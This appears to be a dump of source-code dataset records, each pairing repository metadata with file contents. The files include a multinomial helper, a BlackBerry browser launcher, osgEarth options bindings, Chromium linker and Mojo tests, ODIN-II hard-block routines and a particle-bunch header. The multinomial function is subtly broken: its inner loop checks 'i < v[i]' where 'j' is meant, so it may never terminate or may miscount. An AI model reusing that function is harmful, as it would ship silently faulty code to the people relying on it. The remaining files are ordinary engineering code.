[ "MIT" ]
3
2021-08-31T17:51:01.000Z
2021-11-13T16:22:25.000Z
nacl/math/combinatorics/multinomial.hpp
ToxicPie/NaCl
8cb50bacc25f2b99a33fb5938ea4ec9906d8d65c
[ "MIT" ]
null
null
null
nacl/math/combinatorics/multinomial.hpp
ToxicPie/NaCl
8cb50bacc25f2b99a33fb5938ea4ec9906d8d65c
[ "MIT" ]
null
null
null
/// source: KACTL // ways to permute v[i] ll multinomial(vi &v) { ll c = 1, m = v.empty() ? 1 : v[0]; for (int i = 1; i < v.size(); i++) for (int j = 0; i < v[i]; j++) c = c * ++m / (j + 1); return c; }
21.4
57
0.443925
ToxicPie
0e92c3eba5a337b00f2805477a8224db4d870a6f
621
cpp
C++
src/invokehelper.cpp
CORDEA/GitHarbor
9f0f5228e5af04b311aec78fa173d59d6f8d426b
[ "Apache-2.0" ]
1
2016-08-03T08:50:01.000Z
2016-08-03T08:50:01.000Z
src/invokehelper.cpp
CORDEA/GitHarbor
9f0f5228e5af04b311aec78fa173d59d6f8d426b
[ "Apache-2.0" ]
null
null
null
src/invokehelper.cpp
CORDEA/GitHarbor
9f0f5228e5af04b311aec78fa173d59d6f8d426b
[ "Apache-2.0" ]
3
2017-10-17T22:52:01.000Z
2019-02-15T19:52:58.000Z
/* * invokehelper.cpp * * Created on: 2016/02/15 * Author: CORDEA */ #include <src/invokehelper.h> #include <bb/system/InvokeRequest> #include <bb/system/InvokeManager> using namespace bb::system; InvokeHelper::InvokeHelper(QObject *parent) : QObject(parent) { // TODO Auto-generated constructor stub } void InvokeHelper::openBrowser(QString url) { InvokeRequest request; request.setTarget("sys.browser"); request.setAction("bb.action.OPEN"); request.setMimeType("text/html"); request.setUri(QUrl(url)); InvokeManager manager; Q_UNUSED(manager.invoke(request)); }
19.40625
45
0.695652
CORDEA
0e952527ddedcfd90a971a26e758d4102609edfa
3,064
cpp
C++
gEarth.Pack/oepOGRFeatureSourceOptions.cpp
songgod/gEarth
e4ea0fa15a40f08481c7ea7e42e6f4ace8659984
[ "MIT" ]
5
2021-06-16T06:24:29.000Z
2022-03-10T03:41:44.000Z
gEarth.Pack/oepOGRFeatureSourceOptions.cpp
songgod/gEarth
e4ea0fa15a40f08481c7ea7e42e6f4ace8659984
[ "MIT" ]
1
2020-10-14T14:20:58.000Z
2020-10-14T14:20:58.000Z
gEarth.Pack/oepOGRFeatureSourceOptions.cpp
songgod/gEarth
e4ea0fa15a40f08481c7ea7e42e6f4ace8659984
[ "MIT" ]
2
2021-06-16T06:24:32.000Z
2021-08-02T09:05:42.000Z
#include "stdafx.h" #include "oepOGRFeatureSourceOptions.h" using namespace gEarthPack; using namespace osgEarth::Drivers; oepOGRFeatureSourceOptions::oepOGRFeatureSourceOptions() { bind(new OGRFeatureOptions(),true); } void gEarthPack::oepOGRFeatureSourceOptions::binded() { _geometryConfig = gcnew oepConfig(); _geometryConfig->bind(as<OGRFeatureOptions>()->geometryConfig()); _query = gcnew oepQuery(); _query->bind(as<OGRFeatureOptions>()->query()); } void gEarthPack::oepOGRFeatureSourceOptions::unbinded() { _geometryConfig->unbind(); _query->unbind(); } String^ oepOGRFeatureSourceOptions::Url::get() { return Str2Cli(as<OGRFeatureOptions>()->url()->full()); } void oepOGRFeatureSourceOptions::Url::set(String^ p) { as<OGRFeatureOptions>()->url() = Str2Std(p); NotifyChanged("Url"); } String^ oepOGRFeatureSourceOptions::Connection::get() { return Str2Cli(as<OGRFeatureOptions>()->connection().value()); } void oepOGRFeatureSourceOptions::Connection::set(String^ p) { as<OGRFeatureOptions>()->connection() = Str2Std(p); } String^ oepOGRFeatureSourceOptions::OgrDriver::get() { return Str2Cli(as<OGRFeatureOptions>()->ogrDriver().value()); } void oepOGRFeatureSourceOptions::OgrDriver::set(String^ p) { as<OGRFeatureOptions>()->ogrDriver() = Str2Std(p); NotifyChanged("OgrDriver"); } bool oepOGRFeatureSourceOptions::BuildSpatialIndex::get() { return as<OGRFeatureOptions>()->buildSpatialIndex().value(); } void oepOGRFeatureSourceOptions::BuildSpatialIndex::set(bool p) { as<OGRFeatureOptions>()->buildSpatialIndex() = p; NotifyChanged("BuildSpatialIndex"); } bool oepOGRFeatureSourceOptions::ForceRebuildSpatialIndex::get() { return as<OGRFeatureOptions>()->forceRebuildSpatialIndex().value(); } void oepOGRFeatureSourceOptions::ForceRebuildSpatialIndex::set(bool p) { as<OGRFeatureOptions>()->forceRebuildSpatialIndex() = p; NotifyChanged("ForceRebuildSpatialIndex"); } oepConfig^ oepOGRFeatureSourceOptions::GeometryConfig::get() { return _geometryConfig; } void oepOGRFeatureSourceOptions::GeometryConfig::set(oepConfig^ p) { OGRFeatureOptions* to = as<OGRFeatureOptions>(); if (to != NULL && p != nullptr) { to->geometryConfig() = *(p->as<Config>()); NotifyChanged("GeometryConfig"); } } String^ oepOGRFeatureSourceOptions::GeometryUrl::get() { return Str2Cli(as<OGRFeatureOptions>()->geometryUrl().value()); } void oepOGRFeatureSourceOptions::GeometryUrl::set(String^ p) { as<OGRFeatureOptions>()->geometryUrl() = Str2Std(p); NotifyChanged("GeometryUrl"); } String^ oepOGRFeatureSourceOptions::Layer::get() { return Str2Cli(as<OGRFeatureOptions>()->layer().value()); } void oepOGRFeatureSourceOptions::Layer::set(String^ p) { as<OGRFeatureOptions>()->layer() = Str2Std(p); NotifyChanged("Layer"); } oepQuery^ oepOGRFeatureSourceOptions::Query::get() { return _query; } void oepOGRFeatureSourceOptions::Query::set(oepQuery^ p) { OGRFeatureOptions* to = as<OGRFeatureOptions>(); if (to != NULL && p != nullptr) { to->query() = *(p->as<osgEarth::Query>()); NotifyChanged("Query"); } }
23.037594
70
0.741841
songgod
0e958284856c1471911d9198221360fe1f851f4c
6,064
cc
C++
content/shell/android/linker_test_apk/chromium_linker_test_linker_tests.cc
kjthegod/chromium
cf940f7f418436b77e15b1ea23e6fa100ca1c91a
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
231
2015-01-08T09:04:44.000Z
2021-12-30T03:03:10.000Z
content/shell/android/linker_test_apk/chromium_linker_test_linker_tests.cc
kjthegod/chromium
cf940f7f418436b77e15b1ea23e6fa100ca1c91a
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
1
2018-02-10T21:00:08.000Z
2018-03-20T05:09:50.000Z
content/shell/android/linker_test_apk/chromium_linker_test_linker_tests.cc
kjthegod/chromium
cf940f7f418436b77e15b1ea23e6fa100ca1c91a
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
268
2015-01-21T05:53:28.000Z
2022-03-25T22:09:01.000Z
// Copyright 2014 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. // This file implements the native methods of // org.content.chromium.app.LinkerTests // Unlike the content of linker_jni.cc, it is part of the content library and // can // thus use base/ and the C++ STL. #include "content/shell/android/linker_test_apk/chromium_linker_test_linker_tests.h" #include <errno.h> #include <sys/mman.h> #include <stdio.h> #include <string> #include "base/basictypes.h" #include "base/debug/proc_maps_linux.h" #include "base/logging.h" #include "base/strings/stringprintf.h" #include "jni/LinkerTests_jni.h" namespace content { namespace { using base::debug::MappedMemoryRegion; jboolean RunChecks(bool in_browser_process, bool need_relros) { // IMPORTANT NOTE: The Python test control script reads the logcat for // lines like: // BROWSER_LINKER_TEST: <status> // RENDERER_LINKER_TEST: <status> // // Where <status> can be either SUCCESS or FAIL. Other lines starting // with the same prefixes, but not using SUCCESS or FAIL are ignored. const char* prefix = in_browser_process ? "BROWSER_LINKER_TEST: " : "RENDERER_LINKER_TEST: "; // The RELRO section(s), after being copied into an ashmem region, will // appear in /proc/self/maps as a mapped memory region for a file name // that begins with the following prefix. // // Note that the full name will be something like: // "/dev/ashmem/RELRO:<libname> (deleted)" // // Where <libname> is the library name and '(deleted)' is actually // added by the kernel to indicate there is no corresponding file // on the filesystem. // // For regular builds, there is only one library, and thus one RELRO // section, but for the component build, there are several libraries, // each one with its own RELRO. static const char kRelroSectionPrefix[] = "/dev/ashmem/RELRO:"; // Parse /proc/self/maps and builds a list of region mappings in this // process. std::string maps; base::debug::ReadProcMaps(&maps); if (maps.empty()) { LOG(ERROR) << prefix << "FAIL Cannot parse /proc/self/maps"; return false; } std::vector<MappedMemoryRegion> regions; base::debug::ParseProcMaps(maps, &regions); if (regions.empty()) { LOG(ERROR) << prefix << "FAIL Cannot read memory mappings in this process"; return false; } size_t num_shared_relros = 0; size_t num_bad_shared_relros = 0; for (size_t n = 0; n < regions.size(); ++n) { MappedMemoryRegion& region = regions[n]; if (region.path.find(kRelroSectionPrefix) != 0) { // Ignore any mapping that isn't a shared RELRO. continue; } num_shared_relros++; void* region_start = reinterpret_cast<void*>(region.start); void* region_end = reinterpret_cast<void*>(region.end); // Check that it is mapped read-only. const uint8 expected_flags = MappedMemoryRegion::READ; const uint8 expected_mask = MappedMemoryRegion::READ | MappedMemoryRegion::WRITE | MappedMemoryRegion::EXECUTE; uint8 region_flags = region.permissions & expected_mask; if (region_flags != expected_flags) { LOG(ERROR) << prefix << base::StringPrintf( "Shared RELRO section at %p-%p is not mapped read-only. " "Protection flags are %d (%d expected)!", region_start, region_end, region_flags, expected_flags); num_bad_shared_relros++; continue; } // Check that trying to remap it read-write fails with EACCES size_t region_size = region.end - region.start; int ret = ::mprotect(region_start, region_size, PROT_READ | PROT_WRITE); if (ret != -1) { LOG(ERROR) << prefix << base::StringPrintf( "Shared RELRO section at %p-%p could be remapped read-write!?", region_start, region_end); num_bad_shared_relros++; // Just in case. ::mprotect(region_start, region_size, PROT_READ); } else if (errno != EACCES) { LOG(ERROR) << prefix << base::StringPrintf( "Shared RELRO section at %p-%p failed " "read-write mprotect with " "unexpected error %d (EACCES:%d wanted): %s", region_start, region_end, errno, EACCES, strerror(errno)); num_bad_shared_relros++; } } VLOG(0) << prefix << base::StringPrintf( "There are %d shared RELRO sections in this process, %d are bad", num_shared_relros, num_bad_shared_relros); if (num_bad_shared_relros > 0) { LOG(ERROR) << prefix << "FAIL Bad Relros sections in this process"; return false; } if (need_relros) { if (num_shared_relros == 0) { LOG(ERROR) << prefix << "FAIL Missing shared RELRO sections in this process!"; return false; } } else { if (num_shared_relros > 0) { LOG(ERROR) << prefix << "FAIL Unexpected " << num_shared_relros << " shared RELRO sections in this process!"; return false; } } VLOG(0) << prefix << "SUCCESS"; return true; } } // namespace jboolean CheckForSharedRelros(JNIEnv* env, jclass clazz, jboolean in_browser_process) { return RunChecks(in_browser_process, true); } jboolean CheckForNoSharedRelros(JNIEnv* env, jclass clazz, jboolean in_browser_process) { return RunChecks(in_browser_process, false); } bool RegisterLinkerTestsJni(JNIEnv* env) { return RegisterNativesImpl(env); } } // namespace content
32.602151
84
0.612797
kjthegod
0e95c6b5977ed0492064f44464d749de3eb1fc06
8,949
cpp
C++
ODIN_II/SRC/lib_blocks/hard_blocks.cpp
rding2454/IndeStudy
c27be794bc2ce5ada93b16c92569a4bcafc8a21c
[ "MIT" ]
null
null
null
ODIN_II/SRC/lib_blocks/hard_blocks.cpp
rding2454/IndeStudy
c27be794bc2ce5ada93b16c92569a4bcafc8a21c
[ "MIT" ]
null
null
null
ODIN_II/SRC/lib_blocks/hard_blocks.cpp
rding2454/IndeStudy
c27be794bc2ce5ada93b16c92569a4bcafc8a21c
[ "MIT" ]
null
null
null
/* Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ #include <stdlib.h> #include <stdio.h> #include <string.h> #include "types.h" #include "globals.h" #include "hard_blocks.h" #include "memories.h" STRING_CACHE *hard_block_names = NULL; void cache_hard_block_names(); t_model_ports *get_model_port(t_model_ports *ports, const char *name) { while (ports && strcmp(ports->name, name)) ports = ports->next; return ports; } void cache_hard_block_names() { t_model *hard_blocks = NULL; hard_blocks = Arch.models; hard_block_names = sc_new_string_cache(); while (hard_blocks) { sc_add_string(hard_block_names, hard_blocks->name); hard_blocks = hard_blocks->next; } } void register_hard_blocks() { cache_hard_block_names(); single_port_rams = find_hard_block("single_port_ram"); dual_port_rams = find_hard_block("dual_port_ram"); if (single_port_rams) { t_model_ports *hb_ports; if (configuration.split_memory_width) { hb_ports = get_model_port(single_port_rams->inputs, "data"); hb_ports->size = 1; hb_ports = get_model_port(single_port_rams->outputs, "out"); hb_ports->size = 1; } int split_depth = get_sp_ram_split_depth(); hb_ports = get_model_port(single_port_rams->inputs, "addr"); hb_ports->size = split_depth; } if (dual_port_rams) { t_model_ports *hb_ports; if (configuration.split_memory_width) { hb_ports = get_model_port(dual_port_rams->inputs, "data1"); hb_ports->size = 1; hb_ports = get_model_port(dual_port_rams->inputs, "data2"); hb_ports->size = 1; hb_ports = get_model_port(dual_port_rams->outputs, "out1"); hb_ports->size = 1; hb_ports = get_model_port(dual_port_rams->outputs, "out2"); hb_ports->size = 1; } int split_depth = get_dp_ram_split_depth(); hb_ports = get_model_port(dual_port_rams->inputs, "addr1"); hb_ports->size = split_depth; hb_ports = get_model_port(dual_port_rams->inputs, "addr2"); hb_ports->size = split_depth; } } void deregister_hard_blocks() { sc_free_string_cache(hard_block_names); return; } t_model* find_hard_block(const char *name) { t_model *hard_blocks; hard_blocks = Arch.models; while (hard_blocks) if (!strcmp(hard_blocks->name, name)) return hard_blocks; else hard_blocks = hard_blocks->next; return NULL; } void define_hard_block(nnode_t *node, short /*type*/, FILE *out) { int i, j; int index, port; int count; char buffer[MAX_BUF]; /* Assert that every hard block has at least an input and output */ oassert(node->input_port_sizes[0] > 0); oassert(node->output_port_sizes[0] > 0); //IF the hard_blocks is an adder or a multiplier, we ignore it.(Already print out in define_add_function and define_mult_function) if(strcmp(node->related_ast_node->children[0]->types.identifier, "multiply") == 0 || strcmp(node->related_ast_node->children[0]->types.identifier, "adder") == 0) return; count = fprintf(out, "\n.subckt "); count--; count += fprintf(out, "%s", node->related_ast_node->children[0]->types.identifier); /* print the input port mappings */ port = index = 0; for (i = 0; i < node->num_input_pins; i++) { /* Check that the input pin is driven */ if (node->input_pins[i]->net->driver_pin == NULL) { printf("Signal %s is not driven. Odin will terminate.\n", node->input_pins[i]->name); exit(1); } if (node->input_port_sizes[port] == 1) j = sprintf(buffer, " %s=%s", node->input_pins[i]->mapping, node->input_pins[i]->net->driver_pin->node->name); else { if (node->input_pins[i]->net->driver_pin->name != NULL) j = sprintf(buffer, " %s[%d]=%s", node->input_pins[i]->mapping, index, node->input_pins[i]->net->driver_pin->name); else j = sprintf(buffer, " %s[%d]=%s", node->input_pins[i]->mapping, index, node->input_pins[i]->net->driver_pin->node->name); } if (count + j > 79) { fprintf(out, "\\\n"); count = 0; } count += fprintf(out, "%s", buffer); index++; if (node->input_port_sizes[port] == index) { index = 0; port++; } } /* print the output port mappings */ port = index = 0; for (i = 0; i < node->num_output_pins; i++) { if (node->output_port_sizes[port] != 1) j = sprintf(buffer, " %s[%d]=%s", node->output_pins[i]->mapping, index, node->output_pins[i]->name); else j = sprintf(buffer, " %s=%s", node->output_pins[i]->mapping, node->output_pins[i]->name); if (count + j > 79) { fprintf(out, "\\\n"); count = 0; } count += fprintf(out, "%s", buffer); index++; if (node->output_port_sizes[port] == index) { index = 0; port++; } } count += fprintf(out, "\n\n"); return; } void output_hard_blocks(FILE *out) { t_model_ports *hb_ports; t_model *hard_blocks; char buffer[MAX_BUF]; int count; int i; oassert(out != NULL); hard_blocks = Arch.models; while (hard_blocks != NULL) { if (hard_blocks->used == 1) /* Hard Block is utilized */ { //IF the hard_blocks is an adder or a multiplier, we ignore it.(Already print out in add_the_blackbox_for_adds and add_the_blackbox_for_mults) if(strcmp(hard_blocks->name, "adder") == 0 ||strcmp(hard_blocks->name, "multiply") == 0) { hard_blocks = hard_blocks->next; break; } fprintf(out, "\n.model %s\n", hard_blocks->name); count = fprintf(out, ".inputs"); hb_ports = hard_blocks->inputs; while (hb_ports != NULL) { for (i = 0; i < hb_ports->size; i++) { if (hb_ports->size == 1) count = count + sprintf(buffer, " %s", hb_ports->name); else count = count + sprintf(buffer, " %s[%d]", hb_ports->name, i); if (count >= 78) count = fprintf(out, " \\\n%s", buffer) - 3; else fprintf(out, "%s", buffer); } hb_ports = hb_ports->next; } count = fprintf(out, "\n.outputs") - 1; hb_ports = hard_blocks->outputs; while (hb_ports != NULL) { for (i = 0; i < hb_ports->size; i++) { if (hb_ports->size == 1) count = count + sprintf(buffer, " %s", hb_ports->name); else count = count + sprintf(buffer, " %s[%d]", hb_ports->name, i); if (count >= 78) count = fprintf(out, " \\\n%s", buffer) - 3; else fprintf(out, "%s", buffer); } hb_ports = hb_ports->next; } fprintf(out, "\n.blackbox\n.end\n\n"); } hard_blocks = hard_blocks->next; } return; } void instantiate_hard_block(nnode_t *node, short mark, netlist_t * /*netlist*/) { int i, port, index; port = index = 0; /* Give names to the output pins */ for (i = 0; i < node->num_output_pins; i++) { if (node->output_pins[i]->name == NULL) node->output_pins[i]->name = make_full_ref_name(node->name, NULL, NULL, node->output_pins[i]->mapping, -1); index++; if (node->output_port_sizes[port] == index) { index = 0; port++; } } node->traverse_visited = mark; return; } int hard_block_port_size(t_model *hb, char *pname) { t_model_ports *tmp; if (hb == NULL) return 0; /* Indicates that the port size is different for this hard block * depending on the instance of the hard block. May want to extend * this list of blocks in the future. */ if ((strcmp(hb->name, "single_port_ram") == 0) || (strcmp(hb->name, "dual_port_ram") == 0)) { return -1; } tmp = hb->inputs; while (tmp != NULL) if ((tmp->name != NULL) && (strcmp(tmp->name, pname) == 0)) return tmp->size; else tmp = tmp->next; tmp = hb->outputs; while (tmp != NULL) if ((tmp->name != NULL) && (strcmp(tmp->name, pname) == 0)) return tmp->size; else tmp = tmp->next; return 0; } enum PORTS hard_block_port_direction(t_model *hb, char *pname) { t_model_ports *tmp; if (hb == NULL) return ERR_PORT; tmp = hb->inputs; while (tmp != NULL) if ((tmp->name != NULL) && (strcmp(tmp->name, pname) == 0)) return tmp->dir; else tmp = tmp->next; tmp = hb->outputs; while (tmp != NULL) if ((tmp->name != NULL) && (strcmp(tmp->name, pname) == 0)) return tmp->dir; else tmp = tmp->next; return ERR_PORT; }
24.45082
162
0.659403
rding2454
0e97f066ae54cea0d62e20f6df76d63676e4ace7
2,112
hpp
C++
cpp/include/cte_bits/bunch.hpp
tomerten/ctelib
582c215667e240a65f07ac75468e0870bee88a4d
[ "MIT" ]
null
null
null
cpp/include/cte_bits/bunch.hpp
tomerten/ctelib
582c215667e240a65f07ac75468e0870bee88a4d
[ "MIT" ]
null
null
null
cpp/include/cte_bits/bunch.hpp
tomerten/ctelib
582c215667e240a65f07ac75468e0870bee88a4d
[ "MIT" ]
null
null
null
#include <map> #include <string> #include <vector> // TODO make this a map so one can give a dict in python struct bunchParameters { // bucket number int bucket; // atomic mass number double atomNumber; // particle charge int charge; // number of macro particle to use int nMacro; // real number of particles double nReal; // bunch length double sigs; // random seed int seed; }; class Bunch { public: std::map<std::string, double> bunchParam; std::map<std::string, std::vector<double>> tw; std::map<std::string, double> twheader; std::vector<std::vector<double>> distribution; std::vector<std::vector<double>> emittances; std::vector<std::vector<double>> ibsGrowthRates; std::vector<std::vector<double>> ibsCoeff; std::vector<int> histogramTime; std::vector<double> sqrthistogram; std::vector<int> debunchLosses; std::map<std::string, std::vector<double>> bunchParametersLocal; std::map<std::string, double> radiationParameters; std::map<std::string, double> longitudinalParameters; // constructor Bunch(std::map<std::string, double> &, std::map<std::string, std::vector<double>> &, std::map<std::string, double> &, std::vector<double> &, std::vector<double> &); // helper functions void resetDebunchLosses(); std::string get_date(); void getEmittance(); void getIBSGrowthRates(int); void getIBSCoefficients(); void updateIBS(std::vector<double> &); // set functions void setBasic(); void setDistribution(std::vector<double> &h, std::vector<double> &v); void setLongitudinalParameters(std::vector<double> &, std::vector<double> &); void setRadiationParameters(); // print to screen methods void printBunchParameters(); void printTwissHeader(); void printLongParam(); void printRadiationParameters(); void printDistribution(); void printEmittance(); void printIBSGrowthRates(); void printHistogramTime(); void printSqrtHistorgram(); void printDebunchLosses(); // write to file methods void writeDistribution(int); void writeEmittances(); void writeLocalParameters(); };
28.16
79
0.702652
tomerten
0e9b08d9dceb0066fa1b2cfc8f99d32319602dce
7,847
cc
C++
third_party/blink/renderer/platform/mojo/heap_mojo_associated_receiver_test.cc
Ron423c/chromium
2edf7b980065b648f8b2a6e52193d83832fe36b7
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
third_party/blink/renderer/platform/mojo/heap_mojo_associated_receiver_test.cc
Ron423c/chromium
2edf7b980065b648f8b2a6e52193d83832fe36b7
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
null
null
null
third_party/blink/renderer/platform/mojo/heap_mojo_associated_receiver_test.cc
Ron423c/chromium
2edf7b980065b648f8b2a6e52193d83832fe36b7
[ "BSD-3-Clause-No-Nuclear-License-2014", "BSD-3-Clause" ]
1
2021-03-07T14:20:02.000Z
2021-03-07T14:20:02.000Z
// Copyright 2020 The Chromium Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include "third_party/blink/renderer/platform/mojo/heap_mojo_associated_receiver.h" #include "base/test/null_task_runner.h" #include "mojo/public/cpp/bindings/associated_remote.h" #include "mojo/public/interfaces/bindings/tests/sample_service.mojom-blink.h" #include "testing/gtest/include/gtest/gtest.h" #include "third_party/blink/renderer/platform/context_lifecycle_notifier.h" #include "third_party/blink/renderer/platform/heap/heap_test_utilities.h" #include "third_party/blink/renderer/platform/heap/persistent.h" #include "third_party/blink/renderer/platform/heap_observer_set.h" #include "third_party/blink/renderer/platform/mojo/heap_mojo_wrapper_mode.h" #include "third_party/blink/renderer/platform/mojo/mojo_binding_context.h" #include "third_party/blink/renderer/platform/testing/mock_context_lifecycle_notifier.h" #include "third_party/blink/renderer/platform/wtf/buildflags.h" namespace blink { namespace { template <HeapMojoWrapperMode Mode> class HeapMojoAssociatedReceiverGCBaseTest; template <HeapMojoWrapperMode Mode> class AssociatedReceiverOwner : public GarbageCollected<AssociatedReceiverOwner<Mode>>, public sample::blink::Service { USING_PRE_FINALIZER(AssociatedReceiverOwner, Dispose); public: explicit AssociatedReceiverOwner( MockContextLifecycleNotifier* context, HeapMojoAssociatedReceiverGCBaseTest<Mode>* test = nullptr) : associated_receiver_(this, context), test_(test) { if (test_) test_->set_is_owner_alive(true); } void Dispose() { if (test_) test_->set_is_owner_alive(false); } HeapMojoAssociatedReceiver<sample::blink::Service, AssociatedReceiverOwner, Mode>& associated_receiver() { return associated_receiver_; } void Trace(Visitor* visitor) const { visitor->Trace(associated_receiver_); } private: // sample::blink::Service implementation void Frobinate(sample::blink::FooPtr foo, sample::blink::Service::BazOptions options, mojo::PendingRemote<sample::blink::Port> port, sample::blink::Service::FrobinateCallback callback) override {} void GetPort(mojo::PendingReceiver<sample::blink::Port> port) override {} HeapMojoAssociatedReceiver<sample::blink::Service, AssociatedReceiverOwner, Mode> associated_receiver_; HeapMojoAssociatedReceiverGCBaseTest<Mode>* test_; }; template <HeapMojoWrapperMode Mode> class HeapMojoAssociatedReceiverGCBaseTest : public TestSupportingGC { public: base::RunLoop& run_loop() { return run_loop_; } bool& disconnected() { return disconnected_; } void set_is_owner_alive(bool alive) { is_owner_alive_ = alive; } void ClearOwner() { owner_ = nullptr; } protected: void SetUp() override { disconnected_ = false; context_ = MakeGarbageCollected<MockContextLifecycleNotifier>(); owner_ = MakeGarbageCollected<AssociatedReceiverOwner<Mode>>(context_, this); scoped_refptr<base::NullTaskRunner> null_task_runner = base::MakeRefCounted<base::NullTaskRunner>(); associated_remote_ = mojo::AssociatedRemote<sample::blink::Service>( owner_->associated_receiver().BindNewEndpointAndPassRemote( null_task_runner)); associated_remote_.set_disconnect_handler(WTF::Bind( [](HeapMojoAssociatedReceiverGCBaseTest* associated_receiver_test) { associated_receiver_test->run_loop().Quit(); associated_receiver_test->disconnected() = true; }, WTF::Unretained(this))); } void TearDown() { owner_ = nullptr; PreciselyCollectGarbage(); } Persistent<MockContextLifecycleNotifier> context_; Persistent<AssociatedReceiverOwner<Mode>> owner_; bool is_owner_alive_ = false; base::RunLoop run_loop_; mojo::AssociatedRemote<sample::blink::Service> associated_remote_; bool disconnected_ = false; }; template <HeapMojoWrapperMode Mode> class HeapMojoAssociatedReceiverDestroyContextBaseTest : public TestSupportingGC { protected: void SetUp() override { context_ = MakeGarbageCollected<MockContextLifecycleNotifier>(); owner_ = MakeGarbageCollected<AssociatedReceiverOwner<Mode>>(context_); scoped_refptr<base::NullTaskRunner> null_task_runner = base::MakeRefCounted<base::NullTaskRunner>(); associated_remote_ = mojo::AssociatedRemote<sample::blink::Service>( owner_->associated_receiver().BindNewEndpointAndPassRemote( null_task_runner)); } Persistent<MockContextLifecycleNotifier> context_; Persistent<AssociatedReceiverOwner<Mode>> owner_; mojo::AssociatedRemote<sample::blink::Service> associated_remote_; }; } // namespace class HeapMojoAssociatedReceiverGCWithContextObserverTest : public HeapMojoAssociatedReceiverGCBaseTest< HeapMojoWrapperMode::kWithContextObserver> {}; class HeapMojoAssociatedReceiverGCWithoutContextObserverTest : public HeapMojoAssociatedReceiverGCBaseTest< HeapMojoWrapperMode::kForceWithoutContextObserver> {}; class HeapMojoAssociatedReceiverDestroyContextWithContextObserverTest : public HeapMojoAssociatedReceiverDestroyContextBaseTest< HeapMojoWrapperMode::kWithContextObserver> {}; class HeapMojoAssociatedReceiverDestroyContextWithoutContextObserverTest : public HeapMojoAssociatedReceiverDestroyContextBaseTest< HeapMojoWrapperMode::kForceWithoutContextObserver> {}; // Make HeapMojoAssociatedReceiver with context observer garbage collected and // check that the connection is disconnected right after the marking phase. // TODO(1056170): Re-enable test. #if !BUILDFLAG(USE_V8_OILPAN) TEST_F(HeapMojoAssociatedReceiverGCWithContextObserverTest, ResetsOnGC) { ClearOwner(); EXPECT_FALSE(disconnected()); PreciselyCollectGarbage(); run_loop().Run(); EXPECT_TRUE(disconnected()); CompleteSweepingIfNeeded(); } #endif // !USE_V8_OILPAN // Check that the owner TEST_F(HeapMojoAssociatedReceiverGCWithContextObserverTest, NoResetOnConservativeGC) { auto* wrapper = owner_->associated_receiver().wrapper_.Get(); EXPECT_TRUE(owner_->associated_receiver().is_bound()); ClearOwner(); EXPECT_TRUE(is_owner_alive_); // The stack scanning should find |wrapper| and keep the Wrapper alive. ConservativelyCollectGarbage(); EXPECT_TRUE(wrapper->associated_receiver().is_bound()); EXPECT_TRUE(is_owner_alive_); } // Make HeapMojoAssociatedReceiver without context observer garbage collected // and check that the connection is disconnected right after the marking phase. // TODO(1056170): Re-enable test. #if !BUILDFLAG(USE_V8_OILPAN) TEST_F(HeapMojoAssociatedReceiverGCWithoutContextObserverTest, ResetsOnGC) { ClearOwner(); EXPECT_FALSE(disconnected()); PreciselyCollectGarbage(); run_loop().Run(); EXPECT_TRUE(disconnected()); CompleteSweepingIfNeeded(); } #endif // !USE_V8_OILPAN // Destroy the context with context observer and check that the connection is // disconnected. TEST_F(HeapMojoAssociatedReceiverDestroyContextWithContextObserverTest, ResetsOnContextDestroyed) { EXPECT_TRUE(owner_->associated_receiver().is_bound()); context_->NotifyContextDestroyed(); EXPECT_FALSE(owner_->associated_receiver().is_bound()); } // Destroy the context without context observer and check that the connection is // still connected. TEST_F(HeapMojoAssociatedReceiverDestroyContextWithoutContextObserverTest, ResetsOnContextDestroyed) { EXPECT_TRUE(owner_->associated_receiver().is_bound()); context_->NotifyContextDestroyed(); EXPECT_TRUE(owner_->associated_receiver().is_bound()); } } // namespace blink
38.465686
88
0.764623
Ron423c
0e9b8cbb918e3a78352363473ff0395bab9b880a
2,149
cpp
C++
littlefs/LittleFile1.cpp
mbikovitsky/littlefs-utils
e9897c0f9c612d27ee8cd5f1d50ad16220f0a36b
[ "MIT" ]
2
2020-07-25T23:23:26.000Z
2021-12-08T16:47:10.000Z
littlefs/LittleFile1.cpp
mbikovitsky/littlefs-utils
e9897c0f9c612d27ee8cd5f1d50ad16220f0a36b
[ "MIT" ]
null
null
null
littlefs/LittleFile1.cpp
mbikovitsky/littlefs-utils
e9897c0f9c612d27ee8cd5f1d50ad16220f0a36b
[ "MIT" ]
null
null
null
